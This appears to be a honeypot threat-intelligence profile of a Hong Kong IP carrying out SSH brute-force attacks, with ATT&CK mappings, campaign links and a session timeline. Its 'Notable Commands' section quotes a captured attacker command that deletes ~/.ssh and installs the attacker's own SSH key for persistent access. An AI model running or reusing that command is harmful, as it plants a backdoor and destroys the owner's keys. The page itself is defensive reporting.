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165.154.6.138

TAGGED SUSPICIOUS how we decide →

Threat Confidence

59%

Location

🇭🇰 HK / Hong Kong

ASN

AS135377 · UCLOUD INFORMATION TECHNOLOGY HK LIMITED

Cloud Provider

—

Total Events

423

Top 10% by volume

Agent Count

First / Last Seen

2026-04-25 05:28 — 2026-04-25 06:09

Attack Types

ssh:bruteforce

MITRE ATT&CK Techniques

Reconnaissance

T1595 T1595.002

Initial Access

T1078

Defense Evasion

T1070.004

Credential Access

T1110 T1110.001

Discovery

T1046

Command and Control

T1105

External Corroboration

Blocklist.de

Reported 2026-04-25 07:02

blocklist_de:reported

Campaigns

Subnet 165.154.6.0/24 SUBNET Active high 🇭🇰 HK

5 IPs 1218 events

ssh:bruteforce

2026-03-03 — ongoing · 5 IPs from the same /24 subnet (165.154.6.0/24) were observed attacking our sensors within the same time window. …

HASSH af8223ac9914… — SSH-2.0-libssh_0.12.0 (437 IPs, 66 countries) HASSH Active high 🇮🇩 ID

437 IPs 144092 events

ssh:bruteforce

2026-02-28 — ongoing · 437 IPs are running an identical SSH client (HASSH fingerprint af8223ac9914…). Top network: PT Cloud Hosting Indonesia (AS136052). …

Session Forensics

scanner ×1 malware_dropper ×15 credential_probe ×27 opportunistic_bruter ×16

Sessions

59 (31 with login)

Avg Depth Score

0.48

Commands Executed

Files Downloaded

Notable Commands

cd ~; chattr -ia .ssh; lockr -ia .ssh
lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Fingerprints

HASSH

af8223ac9914f509afdadfaf5f7ee94e

SSH Client

SSH-2.0-libssh_0.12.0

Evidence Timeline

Malware Dropper 5568a7486293 w4m_singapore_01 · 2026-04-25 06:09

3 1 1 100%

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Opportunistic Bruter ccf583ba5483 w4m_singapore_01 · 2026-04-25 06:09

1 50%

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Credential Probe f8cd7d0eb799 w4m_singapore_01 · 2026-04-25 06:09

1 20%

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Credential Probe 55a0d33bbde0 w4m_singapore_01 · 2026-04-25 06:08

1 20%

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Malware Dropper e5eea898df4e w4m_singapore_01 · 2026-04-25 06:07

3 1 1 100%

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Opportunistic Bruter 6ec644ef08b5 w4m_singapore_01 · 2026-04-25 06:07

1 50%

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Credential Probe bdb75b3c1561 w4m_singapore_01 · 2026-04-25 06:07

1 20%

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Malware Dropper d229a626c956 w4m_singapore_01 · 2026-04-25 06:06

3 1 1 100%

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Opportunistic Bruter 55acb8ef1d66 w4m_singapore_01 · 2026-04-25 06:06

1 50%

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Credential Probe 25404e608123 w4m_singapore_01 · 2026-04-25 06:06

1 20%

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Credential Probe 935ec3bffd5c w4m_singapore_01 · 2026-04-25 06:05

1 20%

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Opportunistic Bruter d4477ce3e9b3 w4m_singapore_01 · 2026-04-25 06:04

1 50%

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Malware Dropper 062e5630fb74 w4m_singapore_01 · 2026-04-25 06:04

3 1 1 100%

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Credential Probe 02984c3805d2 w4m_singapore_01 · 2026-04-25 06:04

1 20%

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Credential Probe 1a629b109ac3 w4m_singapore_01 · 2026-04-25 06:03

1 20%

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Malware Dropper 438838d916ba w4m_singapore_01 · 2026-04-25 06:02

3 1 1 100%

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Opportunistic Bruter 3f06e579614a w4m_singapore_01 · 2026-04-25 06:02

1 50%

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Credential Probe 598e3edc42a4 w4m_singapore_01 · 2026-04-25 06:02

1 20%

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Opportunistic Bruter 06007de0c7c5 w4m_singapore_01 · 2026-04-25 06:01

1 50%

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Malware Dropper 7c84e3bc6fc3 w4m_singapore_01 · 2026-04-25 06:01

3 1 1 100%

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Credential Probe 0a69a4719139 w4m_singapore_01 · 2026-04-25 06:01

1 20%

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Malware Dropper b5aecbb77b8c w4m_singapore_01 · 2026-04-25 06:00

3 1 1 100%

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Opportunistic Bruter ed0922bf1ac4 w4m_singapore_01 · 2026-04-25 06:00

1 50%

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Credential Probe d432873b4e9a w4m_singapore_01 · 2026-04-25 06:00

1 20%

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Credential Probe 7c42a00fc5a8 w4m_singapore_01 · 2026-04-25 05:59

1 20%

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Opportunistic Bruter b3ca01a921d6 w4m_singapore_01 · 2026-04-25 05:58

1 50%

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Malware Dropper e538fa94ace6 w4m_singapore_01 · 2026-04-25 05:58

3 1 1 100%

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Credential Probe 75e8a4a4580e w4m_singapore_01 · 2026-04-25 05:58

1 20%

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Opportunistic Bruter 93a89083fc12 w4m_singapore_01 · 2026-04-25 05:57

1 50%

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Malware Dropper 80bcd6740804 w4m_singapore_01 · 2026-04-25 05:57

3 1 1 100%

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Credential Probe 955d7ebb9371 w4m_singapore_01 · 2026-04-25 05:57

1 20%

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Opportunistic Bruter 411718522209 w4m_singapore_01 · 2026-04-25 05:56

1 50%

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Malware Dropper 9fe94a8eefc2 w4m_singapore_01 · 2026-04-25 05:56

3 1 1 100%

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Credential Probe f1b766d14efd w4m_singapore_01 · 2026-04-25 05:56

1 20%

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Opportunistic Bruter 777e03b3f939 w4m_singapore_01 · 2026-04-25 05:55

1 50%

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Credential Probe 5ab812170589 w4m_singapore_01 · 2026-04-25 05:55

1 20%

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Scanner 48a153626a8c w4m_singapore_01 · 2026-04-25 05:55

15%

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Credential Probe 577202346d98 w4m_singapore_01 · 2026-04-25 05:54

1 20%

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Malware Dropper e1fa93cd0ced w4m_singapore_01 · 2026-04-25 05:53

3 1 1 100%

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Opportunistic Bruter 7b8640e7bc65 w4m_singapore_01 · 2026-04-25 05:53

1 50%

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Credential Probe f3d79267fd39 w4m_singapore_01 · 2026-04-25 05:53

1 20%

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Credential Probe 62ccc82b68d9 w4m_singapore_01 · 2026-04-25 05:52

1 20%

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Credential Probe d6fd101d9874 w4m_singapore_01 · 2026-04-25 05:51

1 20%

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Opportunistic Bruter aac12126482c w4m_singapore_01 · 2026-04-25 05:50

1 50%

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Malware Dropper a5e6bef8074b w4m_singapore_01 · 2026-04-25 05:50

3 1 1 100%

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Credential Probe d4b5f489ffc1 w4m_singapore_01 · 2026-04-25 05:50

1 20%

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Malware Dropper 63b001fc0a5a w4m_singapore_01 · 2026-04-25 05:49

3 1 1 100%

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Opportunistic Bruter 7675b5408e94 w4m_singapore_01 · 2026-04-25 05:49

1 50%

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Credential Probe 1655378fc6d6 w4m_singapore_01 · 2026-04-25 05:49

1 20%

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Opportunistic Bruter 65975f0d1596 w4m_singapore_01 · 2026-04-25 05:48

1 50%

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